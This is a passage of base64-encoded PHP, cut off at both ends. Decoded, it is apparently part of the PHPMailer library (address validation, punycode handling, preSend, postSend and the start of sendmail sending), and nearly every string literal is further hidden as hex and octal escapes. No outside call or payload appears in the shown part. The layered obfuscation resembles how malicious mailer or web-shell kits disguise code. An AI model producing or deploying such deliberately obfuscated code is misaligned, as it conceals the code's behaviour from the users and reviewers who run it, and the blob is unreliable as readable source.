dHIoJGFkZHJlc3MsICsrJHBvcykpIG9yICFzdGF0aWM6OmlkblN1cHBvcnRlZCgpKSBhbmQgIXN0YXRpYzo6dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgeyAkZXJyb3JfbWVzc2FnZSA9IHNwcmludGYoIlx4MjVcMTYzXHgyMFx4MjhcMTA2XHg3Mlx4NmZcMTU1XDUxXDcyXDQwXDQ1XHg3MyIsICR0aGlzLT5sYW5nKCJcMTUxXDE1Nlx4NzZcMTQxXHg2Y1wxNTFcMTQ0XDEzN1wxNDFceDY0XHg2NFx4NzJceDY1XHg3M1x4NzMiKSwgJGFkZHJlc3MpOyAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7IHRocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOyB9IHJldHVybiBmYWxzZTsgfSAkdGhpcy0+RnJvbSA9ICRhZGRyZXNzOyAkdGhpcy0+RnJvbU5hbWUgPSAkbmFtZTsgaWYgKCRhdXRvKSB7IGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgeyAkdGhpcy0+U2VuZGVyID0gJGFkZHJlc3M7IH0gfSByZXR1cm4gdHJ1ZTsgfSBwdWJsaWMgZnVuY3Rpb24gZ2V0TGFzdE1lc3NhZ2VJRCgpIHsgcmV0dXJuICR0aGlzLT5sYXN0TWVzc2FnZUlEOyB9IHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gdmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzLCAkcGF0dGVybnNlbGVjdCA9IG51bGwpIHsgaWYgKG51bGwgPT09ICRwYXR0ZXJuc2VsZWN0KSB7ICRwYXR0ZXJuc2VsZWN0ID0gc3RhdGljOjokdmFsaWRhdG9yOyB9IGlmIChpc19jYWxsYWJsZSgkcGF0dGVybnNlbGVjdCkpIHsgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRwYXR0ZXJuc2VsZWN0LCAkYWRkcmVzcyk7IH0gaWYgKHN0cnBvcygkYWRkcmVzcywgIlwxMiIpICE9PSBmYWxzZSBvciBzdHJwb3MoJGFkZHJlc3MsICJcMTUiKSAhPT0gZmFsc2UpIHsgcmV0dXJuIGZhbHNlOyB9IHN3aXRjaCAoJHBhdHRlcm5zZWxlY3QpIHsgY2FzZSAiXDE2MFx4NjNcMTYyXDE0NSI6IGNhc2UgIlwxNjBcMTQzXDE2MlwxNDVcNzAiOiByZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goIlx4MmZceDVlXDUwXDc3XDQxXDUwXDc3XDc2XHgyOFx4M2ZceDMxXHgyOVx4MjJcNzdcNTBceDNmXHgzZVwxMzRcMTM0XHg1Ylx4MjBcNTVceDdlXHg1ZFwxNzRceDViXHg1ZVx4MjJceDVkXDUxXHgyMlw3N1x4MjhcNzdceDMxXHgyOVw1MVx4N2JcNjJceDM1XDY1XDU0XDE3NVw1MVw1MFx4M2ZcNDFceDI4XHgzZlw3Nlw1MFw3N1w2MVx4MjlceDIyXHgzZlw1MFw3N1w3NlwxMzRceDVjXHg1Ylx4MjBceDJkXHg3ZVwxMzVcMTc0XDEzM1x4NWVceDIyXDEzNVw1MVw0Mlx4M2ZceDI4XHgzZlw2MVx4MjlcNTFceDdiXHgzNlx4MzVceDJjXDE3NVx4NDBceDI5IiAuICJceDI4XHgyOFw3N1x4M2VceDI4XDc3XDc2XDUwXHgzZlw3Nlw1MFx4MjhceDNmXHgzZVw1MFx4M2ZceDNlXHgyOFw3N1w3Nlx4NWNceDc4XHgzMFwxMDRceDVjXHg3OFw2MFwxMDFcNTFcNzdcMTMzXHg1Y1x4NzRceDIwXHg1ZFx4MjlcNTNceDdjXHgyOFw3N1w3NlwxMzNcMTM0XHg3NFw0MFwxMzVceDJhXDEzNFwxNzBceDMwXHg0NFwxMzRcMTcwXDYwXDEwMVx4MjlcNzdceDViXHg1Y1x4NzRcNDBceDVkXDUzXDUxXHgzZlw1MVx4MjhceDVjXHgyOFx4MjhcNzdcNzZceDI4XHgzZlx4MzJcNTEiIC4gIlw1MFx4M2ZceDNlXDEzM1x4NWNcMTcwXHgzMFw2MVx4MmRcMTM0XDE3MFx4MzBcNzBceDVjXHg3OFw2MFwxMDJcMTM0XHg3OFx4MzBcMTAzXHg1Y1x4NzhceDMwXDEwNVw1NVx4MjdcNTJcNTVcMTM0XHg1YlwxMzRceDVkXHgyZFwxMzRceDc4XHgzN1wxMDZceDVkXHg3Y1wxMzRceDVjXHg1Ylx4NWNcMTcwXHgzMFw2MFx4MmRcMTM0XDE3MFx4MzdcMTA2XDEzNVwxNzRcNTBceDNmXDYzXHgyOVw1MVw1MVx4MmFcNTBceDNmXHgzMlw1MVx4NWNcNTFceDI5XHgyOVw1M1w1MFw3N1x4MzJcNTFceDI5XHg3Y1w1MFw3N1w2Mlw1MVx4MjlceDNmXDUxIiAuICJceDI4XDEzM1x4MjFcNDNcNTVcNDdcNTJceDJiXHg1Y1x4MmZcNTVcNzFcNzVcNzdcMTM2XDU1XHg3ZVx4MmRcMTM1XDUzXHg3Y1w0Mlx4MjhceDNmXHgzZVx4MjhceDNmXDYyXHgyOVx4MjhcNzdcNzZcMTMzXHg1Y1x4NzhceDMwXHgzMVw1NVx4NWNceDc4XDYwXHgzOFx4NWNceDc4XHgzMFwxMDJcMTM0XDE3MFx4MzBcMTAzXHg1Y1x4NzhceDMwXHg0NVx4MmRcNDFcNDNceDJkXHg1Y1wxMzNceDVjXDEzNVx4MmRcMTM0XHg3OFx4MzdceDQ2XDEzNVwxNzRceDVjXHg1Y1x4NWJcMTM0XHg3OFw2MFx4MzBceDJkXDEzNFx4NzhceDM3XDEwNlwxMzVcNTFcNTFcNTIiIC4gIlw1MFw3N1x4MzJceDI5XHgyMlx4MjlcNTBceDNmXHgzZVx4MjhcNzdcNjFcNTFceDVjXDU2XHgyOFx4M2ZcNjFcNTFcNTBcNzdceDM0XDUxXDUxXDUyXDUwXDc3XHgzMVw1MVx4NDBceDI4XDc3XHgyMVx4MjhceDNmXHgzMVw1MVx4NWJceDYxXDU1XHg3YVx4MzBceDJkXDcxXDU1XHg1ZFwxNzNcNjZceDM0XHgyY1x4N2RceDI5XDUwXHgzZlw2MVw1MVx4MjhceDNmXDc2XHgyOFx4NWJcMTQxXHgyZFx4N2FceDMwXHgyZFw3MVx4NWRceDI4XDc3XDc2XDEzM1wxNDFceDJkXHg3YVx4MzBceDJkXDcxXHgyZFx4NWRcNTJcMTMzXHg2MVw1NVx4N2FceDMwXDU1XHgzOVwxMzVcNTFcNzdceDI5IiAuICJcNTBceDNmXDc2XDUwXHgzZlw2MVx4MjlcMTM0XDU2XDUwXHgzZlx4MjFceDI4XDc3XDYxXHgyOVwxMzNceDYxXDU1XDE3Mlw2MFw1NVx4MzlcNTVceDVkXDE3M1x4MzZceDM0XDU0XHg3ZFw1MVw1MFx4M2ZcNjFcNTFcNTBcNzdceDM1XDUxXHgyOVx4N2JceDMwXDU0XDYxXHgzMlx4MzZcMTc1XDE3NFwxMzRcMTMzXDUwXDc3XDcyXDUwXDc3XDc2XDExMVx4NTBceDc2XDY2XDcyXHgyOFw3N1x4M2VcNTBcMTMzXDE0MVw1NVwxNDZceDMwXDU1XDcxXDEzNVx4N2JcNjFcNTRceDM0XHg3ZFw1MVw1MFw3N1w3Nlx4M2FcNTBceDNmXDY2XDUxXDUxXDE3M1x4MzdcMTc1IiAuICJceDdjXDUwXDc3XHgyMVx4MjhceDNmXHgzYVw1Nlx4MmFcMTMzXDE0MVw1NVx4NjZcNjBcNTVceDM5XHg1ZFwxMzNceDNhXHg1Y1x4NWRceDVkXHgyOVwxNzNceDM4XHgyY1x4N2RceDI5XDUwXDUwXHgzZlw2Nlx4MjlcNTBcNzdceDNlXHgzYVx4MjhceDNmXHgzNlw1MVx4MjlceDdiXDYwXHgyY1x4MzZcMTc1XHgyOVx4M2ZcNzJcNzJceDI4XDc3XDY3XDUxXDc3XHgyOVx4MjlcMTc0XHgyOFw3N1x4M2VcNTBceDNmXHgzZVwxMTFceDUwXHg3Nlw2Nlx4M2FceDI4XDc3XDc2XHgyOFw3N1w2Nlw1MVx4MjhceDNmXDc2XHgzYVx4MjhceDNmXHgzNlx4MjlceDI5XDE3M1x4MzVceDdkXDcyIiAuICJcMTc0XHgyOFx4M2ZcNDFceDI4XHgzZlw3Mlw1Nlx4MmFceDViXDE0MVx4MmRceDY2XHgzMFx4MmRceDM5XHg1ZFw3Mlw1MVwxNzNceDM2XDU0XDE3NVw1MVx4MjhcNzdcNzBcNTFceDNmXHgzYVx4M2FceDI4XDc3XDc2XDUwXDUwXDc3XHgzNlx4MjlceDI4XHgzZlx4M2VceDNhXHgyOFx4M2ZceDM2XHgyOVw1MVx4N2JceDMwXDU0XDY0XDE3NVx4MjlcNzJcNTFceDNmXHgyOVw1MVx4M2ZcNTBceDMyXHgzNVx4NWJcNjBcNTVceDM1XHg1ZFx4N2NcNjJceDViXHgzMFx4MmRceDM0XHg1ZFwxMzNcNjBceDJkXDcxXDEzNVx4N2NcNjFcMTMzXDYwXDU1XDcxXHg1ZFwxNzNcNjJcMTc1IiAuICJcMTc0XHg1Ylx4MzFcNTVceDM5XDEzNVx4M2ZcMTMzXDYwXDU1XHgzOVwxMzVceDI5XDUwXDc3XDc2XHg1Y1x4MmVceDI4XHgzZlw3MVx4MjlceDI5XDE3M1w2M1wxNzVceDI5XDUxXDEzNFwxMzVceDI5XHgyOFw3N1x4MzFcNTFcNDRceDJmXDE1MVx4NzNcMTA0IiwgJGFkZHJlc3MpOyBjYXNlICJceDY4XHg3NFx4NmRceDZjXHgzNSI6IHJldHVybiAoYm9vbCkgcHJlZ19tYXRjaCgiXHgyZlx4NWVceDViXDE0MVx4MmRcMTcyXHg0MVw1NVx4NWFcNjBceDJkXDcxXDU2XHgyMVx4MjNcNDRcNDVceDI2XHgyN1x4MmFceDJiXHg1Y1x4MmZceDNkXDc3XHg1ZVwxMzdceDYwXHg3YlwxNzRceDdkXHg3ZVx4MmRcMTM1XHgyYlwxMDBcMTMzXHg2MVw1NVwxNzJcMTAxXHgyZFwxMzJceDMwXHgyZFx4MzlcMTM1XHgyOFw3N1w3Mlx4NWJceDYxXDU1XDE3Mlx4NDFceDJkXHg1YVx4MzBcNTVcNzFcNTVcMTM1XDE3M1w2MFw1NFw2Nlw2MVwxNzUiIC4gIlwxMzNcMTQxXDU1XHg3YVx4NDFcNTVceDVhXHgzMFx4MmRceDM5XHg1ZFx4MjlceDNmXHgyOFx4M2ZceDNhXHg1Y1x4MmVceDViXHg2MVx4MmRceDdhXHg0MVx4MmRcMTMyXHgzMFx4MmRceDM5XDEzNVw1MFw3N1x4M2FcMTMzXDE0MVw1NVwxNzJcMTAxXHgyZFwxMzJcNjBceDJkXDcxXHgyZFwxMzVcMTczXHgzMFx4MmNcNjZceDMxXHg3ZFwxMzNceDYxXDU1XHg3YVx4NDFcNTVceDVhXHgzMFw1NVw3MVwxMzVcNTFceDNmXDUxXDUyXHgyNFx4MmZcMTYzXDEwNCIsICRhZGRyZXNzKTsgY2FzZSAiXDE2MFx4NjhceDcwIjogZGVmYXVsdDogcmV0dXJuIChib29sKSBmaWx0ZXJfdmFyKCRhZGRyZXNzLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpOyB9IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpZG5TdXBwb3J0ZWQoKSB7IHJldHVybiBmdW5jdGlvbl9leGlzdHMoIlwxNTFceDY0XHg2ZVwxMzdceDc0XDE1N1wxMzdceDYxXDE2M1wxNDNceDY5XHg2OSIpIGFuZCBmdW5jdGlvbl9leGlzdHMoIlwxNTVcMTQyXDEzN1wxNDNceDZmXHg2ZVwxNjZceDY1XHg3MlwxNjRcMTM3XDE0NVx4NmVceDYzXDE1N1wxNDRceDY5XDE1NlwxNDciKTsgfSBwdWJsaWMgZnVuY3Rpb24gcHVueWVuY29kZUFkZHJlc3MoJGFkZHJlc3MpIHsgJHBvcyA9IHN0cnJwb3MoJGFkZHJlc3MsICJcMTAwIik7IGlmIChzdGF0aWM6OmlkblN1cHBvcnRlZCgpIGFuZCAhZW1wdHkoJHRoaXMtPkNoYXJTZXQpIGFuZCBmYWxzZSAhPT0gJHBvcykgeyAkZG9tYWluID0gc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpOyBpZiAoJHRoaXMtPmhhczhiaXRDaGFycygkZG9tYWluKSBhbmQgQG1iX2NoZWNrX2VuY29kaW5nKCRkb21haW4sICR0aGlzLT5DaGFyU2V0KSkgeyAkZG9tYWluID0gbWJfY29udmVydF9lbmNvZGluZygkZG9tYWluLCAiXHg1NVwxMjRcMTA2XDU1XDcwIiwgJHRoaXMtPkNoYXJTZXQpOyAkZXJyb3Jjb2RlID0gMDsgJHB1bnljb2RlID0gaWRuX3RvX2FzY2lpKCRkb21haW4sICRlcnJvcmNvZGUsIElOVExfSUROQV9WQVJJQU5UX1VUUzQ2KTsgaWYgKGZhbHNlICE9PSAkcHVueWNvZGUpIHsgcmV0dXJuIHN1YnN0cigkYWRkcmVzcywgMCwgJHBvcykgLiAkcHVueWNvZGU7IH0gfSB9IHJldHVybiAkYWRkcmVzczsgfSBwdWJsaWMgZnVuY3Rpb24gc2VuZCgpIHsgdHJ5IHsgaWYgKCEkdGhpcy0+cHJlU2VuZCgpKSB7IHJldHVybiBmYWxzZTsgfSByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7ICR0aGlzLT5tYWlsSGVhZGVyID0gJyc7ICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOyBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsgdGhyb3cgJGV4YzsgfSByZXR1cm4gZmFsc2U7IH0gfSBwdWJsaWMgZnVuY3Rpb24gcHJlU2VuZCgpIHsgaWYgKCJceDczXDE1NVx4NzRcMTYwIiA9PSAkdGhpcy0+TWFpbGVyIG9yICJcMTU1XHg2MVx4NjlceDZjIiA9PSAkdGhpcy0+TWFpbGVyIGFuZCBzdHJpcG9zKFBIUF9PUywgIlx4NTdceDQ5XHg0ZSIpID09PSAwKSB7IHN0YXRpYzo6c2V0TEUoIlwxNVx4YSIpOyB9IGVsc2UgeyBzdGF0aWM6OnNldExFKFBIUF9FT0wpOyB9IGlmIChpbmlfZ2V0KCJceDZkXDE0MVwxNTFceDZjXHgyZVx4NjFcMTQ0XDE0NFwxMzdcMTcwXHg1ZlwxNTBceDY1XDE0MVx4NjRcMTQ1XDE2MiIpID09IDEgYW5kICJceDZkXDE0MVwxNTFcMTU0IiA9PSAkdGhpcy0+TWFpbGVyIGFuZCBzdHJpcG9zKFBIUF9PUywgIlx4NTdceDQ5XHg0ZSIpID09PSAwIGFuZCAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAiXHgzN1w1Nlw2MFw1Nlw2MCIsICJcNzZceDNkIikgYW5kIHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgIlw2N1x4MmVcNjBceDJlXHgzMVw2NyIsICJceDNjIikgb3IgdmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAiXHgzN1x4MmVcNjFceDJlXHgzMCIsICJceDNlXHgzZCIpIGFuZCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICJceDM3XDU2XDYxXDU2XHgzMyIsICJceDNjIikpKSB7IHRyaWdnZXJfZXJyb3IoIlx4NTlceDZmXDE2NVwxNjJceDIwXDE2NlwxNDVceDcyXHg3M1wxNTFceDZmXDE1Nlw0MFwxNTdceDY2XHgyMFx4NTBcMTEwXHg1MFw0MFwxNTFcMTYzXDQwXDE0MVwxNDZcMTQ2XDE0NVwxNDNcMTY0XDE0NVwxNDRceDIwXDE0MlwxNzFcNDBceDYxXDQwXDE0Mlx4NzVcMTQ3XDQwXHg3NFx4NjhceDYxXHg3NFw0MFx4NmRcMTQxXDE3MVx4MjBceDcyXHg2NVx4NzNcMTY1XDE1NFwxNjRceDIwXDE1MVx4NmVceDIwXDE0M1x4NmZceDcyXHg3MlwxNjVceDcwXDE2NFwxNDVceDY0XHgyMFwxNTVcMTQ1XDE2M1wxNjNceDYxXHg2N1wxNDVceDczXHgyZSIgLiAiXHgyMFwxMjRcMTU3XHgyMFwxNDZcMTUxXHg3OFx4MjBceDY5XDE2NFx4MmNceDIwXDE2M1wxNjdceDY5XHg3NFwxNDNceDY4XDQwXHg3NFwxNTdceDIwXDE2M1wxNDVcMTU2XDE0NFx4NjlceDZlXHg2N1x4MjBcMTY1XHg3M1x4NjlceDZlXHg2N1x4MjBcMTIzXDExNVwxMjRcMTIwXDU0XHgyMFwxNDRceDY5XDE2M1wxNDFceDYyXDE1NFwxNDVcNDBceDc0XDE1MFx4NjVcNDBcMTU1XDE0MVx4NjlceDZjXHgyZVx4NjFceDY0XHg2NFwxMzdceDc4XDEzN1x4NjhcMTQ1XHg2MVx4NjRcMTQ1XDE2Mlx4MjBcMTU3XDE2MFx4NzRceDY5XDE1N1wxNTZceDIwXDE1MVx4NmUiIC4gIlx4MjBceDc5XDE1N1x4NzVcMTYyXHgyMFwxNjBceDY4XHg3MFw1NlwxNTFceDZlXHg2OVx4MmNcNDBceDczXDE2N1wxNTFceDc0XHg2M1x4NjhceDIwXHg3NFx4NmZcNDBcMTE1XHg2MVwxNDNcMTE3XHg1M1w0MFwxNTdceDcyXHgyMFx4NGNcMTUxXDE1NlwxNjVcMTcwXHgyY1x4MjBcMTU3XDE2Mlx4MjBcMTY1XHg3MFx4NjdcMTYyXDE0MVx4NjRcMTQ1XDQwXDE3MVwxNTdcMTY1XHg3Mlw0MFx4NTBceDQ4XHg1MFx4MjBcMTY0XHg2Zlw0MFwxNjZceDY1XHg3MlwxNjNceDY5XHg2Zlx4NmVcNDBcNjdceDJlXDYwXDU2XHgzMVw2N1w1M1w0MFwxNTdcMTYyXHgyMFx4MzdceDJlXHgzMVx4MmVceDMzXHgyYlw1NiIsIEVfVVNFUl9XQVJOSU5HKTsgfSB0cnkgeyAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAkdGhpcy0+bWFpbEhlYWRlciA9ICcnOyBmb3JlYWNoIChhcnJheV9tZXJnZSgkdGhpcy0+UmVjaXBpZW50c1F1ZXVlLCAkdGhpcy0+UmVwbHlUb1F1ZXVlKSBhcyAkcGFyYW1zKSB7ICRwYXJhbXNbMV0gPSAkdGhpcy0+cHVueWVuY29kZUFkZHJlc3MoJHBhcmFtc1sxXSk7IGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAiXDE0MVwxNDRceDY0XHg0MVwxNTZceDQxXHg2NFx4NjRcMTYyXDE0NVx4NzNceDczIiksICRwYXJhbXMpOyB9IGlmIChjb3VudCgkdGhpcy0+dG8pICsgY291bnQoJHRoaXMtPmNjKSArIGNvdW50KCR0aGlzLT5iY2MpIDwgMSkgeyB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCJceDcwXDE2Mlx4NmZcMTY2XHg2OVwxNDRceDY1XHg1Zlx4NjFcMTQ0XHg2NFwxNjJcMTQ1XHg3M1wxNjMiKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7IH0gZm9yZWFjaCAoYXJyYXkoIlx4NDZcMTYyXHg2ZlwxNTUiLCAiXDEyM1x4NjVcMTU2XHg2NFwxNDVceDcyIiwgIlx4NDNceDZmXHg2ZVwxNDZceDY5XHg3MlwxNTVceDUyXHg2NVx4NjFceDY0XHg2OVwxNTZceDY3XHg1NFwxNTciKSBhcyAkYWRkcmVzc19raW5kKSB7ICR0aGlzLT57JGFkZHJlc3Nfa2luZH0gPSB0cmltKCR0aGlzLT57JGFkZHJlc3Nfa2luZH0pOyBpZiAoZW1wdHkoJHRoaXMtPnskYWRkcmVzc19raW5kfSkpIHsgY29udGludWU7IH0gJHRoaXMtPnskYWRkcmVzc19raW5kfSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkdGhpcy0+eyRhZGRyZXNzX2tpbmR9KTsgaWYgKCFzdGF0aWM6OnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+eyRhZGRyZXNzX2tpbmR9KSkgeyAkZXJyb3JfbWVzc2FnZSA9IHNwcmludGYoIlw0NVx4NzNcNDBceDI4XHgyNVwxNjNceDI5XHgzYVw0MFw0NVwxNjMiLCAkdGhpcy0+bGFuZygiXHg2OVx4NmVcMTY2XHg2MVx4NmNceDY5XDE0NFwxMzdceDYxXDE0NFx4NjRcMTYyXHg2NVwxNjNceDczIiksICRhZGRyZXNzX2tpbmQsICR0aGlzLT57JGFkZHJlc3Nfa2luZH0pOyAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOyAkdGhpcy0+ZWRlYnVnKCRlcnJvcl9tZXNzYWdlKTsgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7IHRocm93IG5ldyBFeGNlcHRpb24oJGVycm9yX21lc3NhZ2UpOyB9IHJldHVybiBmYWxzZTsgfSB9IGlmICgkdGhpcy0+YWx0ZXJuYXRpdmVFeGlzdHMoKSkgeyAkdGhpcy0+Q29udGVudFR5cGUgPSBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkU7IH0gJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7IGlmICghJHRoaXMtPkFsbG93RW1wdHkgYW5kIGVtcHR5KCR0aGlzLT5Cb2R5KSkgeyB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCJceDY1XHg2ZFwxNjBceDc0XDE3MVx4NWZcMTU1XHg2NVx4NzNceDczXHg2MVwxNDdceDY1IiksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOyB9ICR0aGlzLT5TdWJqZWN0ID0gdHJpbSgkdGhpcy0+U3ViamVjdCk7ICR0aGlzLT5NSU1FSGVhZGVyID0gJyc7ICR0aGlzLT5NSU1FQm9keSA9ICR0aGlzLT5jcmVhdGVCb2R5KCk7ICR0ZW1waGVhZGVycyA9ICR0aGlzLT5NSU1FSGVhZGVyOyAkdGhpcy0+TUlNRUhlYWRlciA9ICR0aGlzLT5jcmVhdGVIZWFkZXIoKTsgJHRoaXMtPk1JTUVIZWFkZXIgLj0gJHRlbXBoZWFkZXJzOyBpZiAoIlx4NmRceDYxXHg2OVwxNTQiID09ICR0aGlzLT5NYWlsZXIpIHsgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7ICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5hZGRyQXBwZW5kKCJceDU0XHg2ZiIsICR0aGlzLT50byk7IH0gZWxzZSB7ICR0aGlzLT5tYWlsSGVhZGVyIC49ICR0aGlzLT5oZWFkZXJMaW5lKCJceDU0XHg2ZiIsICJcMTY1XDE1NlwxNDRceDY5XDE2M1x4NjNcMTU0XHg2Zlx4NzNceDY1XHg2NFw1NVx4NzJcMTQ1XDE0M1wxNTFcMTYwXDE1MVwxNDVcMTU2XHg3NFx4NzNceDNhXDczIik7IH0gJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoIlx4NTNcMTY1XDE0MlwxNTJcMTQ1XDE0M1x4NzQiLCAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJHRoaXMtPlN1YmplY3QpKSk7IH0gaWYgKCFlbXB0eSgkdGhpcy0+REtJTV9kb21haW4pIGFuZCAhZW1wdHkoJHRoaXMtPkRLSU1fc2VsZWN0b3IpIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKSBvciAhZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkgYW5kIHN0YXRpYzo6aXNQZXJtaXR0ZWRQYXRoKCR0aGlzLT5ES0lNX3ByaXZhdGUpIGFuZCBmaWxlX2V4aXN0cygkdGhpcy0+REtJTV9wcml2YXRlKSkpIHsgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKCR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkdGhpcy0+U3ViamVjdCkpLCAkdGhpcy0+TUlNRUJvZHkpOyAkdGhpcy0+TUlNRUhlYWRlciA9IHJ0cmltKCR0aGlzLT5NSU1FSGVhZGVyLCAiXHhkXDEyXDQwIikgLiBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRoZWFkZXJfZGtpbSkgLiBzdGF0aWM6OiRMRTsgfSByZXR1cm4gdHJ1ZTsgfSBjYXRjaCAoRXhjZXB0aW9uICRleGMpIHsgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7IGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgeyB0aHJvdyAkZXhjOyB9IHJldHVybiBmYWxzZTsgfSB9IHB1YmxpYyBmdW5jdGlvbiBwb3N0U2VuZCgpIHsgdHJ5IHsgc3dpdGNoICgkdGhpcy0+TWFpbGVyKSB7IGNhc2UgIlwxNjNceDY1XDE1NlwxNDRcMTU1XHg2MVwxNTFceDZjIjogY2FzZSAiXHg3MVwxNTVceDYxXDE1MVwxNTQiOiByZXR1cm4gJHRoaXMtPnNlbmRtYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsgY2FzZSAiXDE2M1wxNTVcMTY0XDE2MCI6IHJldHVybiAkdGhpcy0+c210cFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7IGNhc2UgIlwxNTVceDYxXDE1MVwxNTQiOiByZXR1cm4gJHRoaXMtPm1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOyBkZWZhdWx0OiAkc2VuZE1ldGhvZCA9ICR0aGlzLT5NYWlsZXIgLiAiXDEyM1wxNDVceDZlXHg2NCI7IGlmIChtZXRob2RfZXhpc3RzKCR0aGlzLCAkc2VuZE1ldGhvZCkpIHsgcmV0dXJuICR0aGlzLT57JHNlbmRNZXRob2R9KCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOyB9IHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7IH0gfSBjYXRjaCAoRXhjZXB0aW9uICRleGMpIHsgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7ICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7IHRocm93ICRleGM7IH0gfSByZXR1cm4gZmFsc2U7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkgeyBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCBzZWxmOjppc1NoZWxsU2FmZSgkdGhpcy0+U2VuZGVyKSkgeyBpZiAoIlx4NzFcMTU1XDE0MVwxNTFcMTU0IiA9PSAkdGhpcy0+TWFpbGVyKSB7ICRzZW5kbWFpbEZtdCA9ICJceDI1XDE2M1w0MFw1NVwxNDZceDI1XDE2MyI7IH0gZWxzZSB7ICRzZW5kbWFpbEZtdCA9ICJcNDVcMTYzXHgyMFx4MmRcMTU3XDE1MVx4MjBceDJkXDE0Nlw0NVx4NzNcNDBcNTVcMTY0IjsgfSB9IGVsc2UgeyBpZiAoIlwxNjFceDZkXHg2MVwxNTFcMTU0IiA9PSAkdGhpcy0+TWFpbGVyKSB7ICRzZW5kbWFpbEZtdCA9ICJcNDVcMTYzIjsgfSBlbHNlIHsgJHNlbmRtYWlsRm10ID0gIlw0NVwxNjNcNDBcNTVceDZmXDE1MVx4MjBceDJkXHg3NCI7IH0gfSAkc2VuZG1haWwgPSBzcHJpbnRmKCRzZW5kbWFpbEZtdCwgZXNjYXBlc2hlbGxjbWQoJHRoaXMtPlNlbmRtYWlsKSwgJHRoaXMtPlNlbmRlcik7IGlmICgkdGhpcy0+U2luZ2xlVG8pIHsgZm9yZWFjaCAoJHRoaXMtPlNpbmdsZVRvQXJyYXkgYXMgJHRvQWRkcikgeyAkbWFpbCA9IEBwb3Blbigkc2VuZG1haWwsICJcMTY3Iik7IGlmICghJG1haWwpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygiXHg2NVwxNzBcMTQ1XHg2M1x4NzVceDc0XDE0NSIpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsgfSBmd3JpdGUoJG1haWwsICJcMTI0XHg2Zlw3Mlw0MCIgLiAkdG9BZGRyIC4gIlwxMiIpOyBmd3JpdGUoJG1haWwsICRoZWFkZXIpOyBmd3JpdGUoJG1haWwsICRib2R5KTsgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7ICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQgPT0gMCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R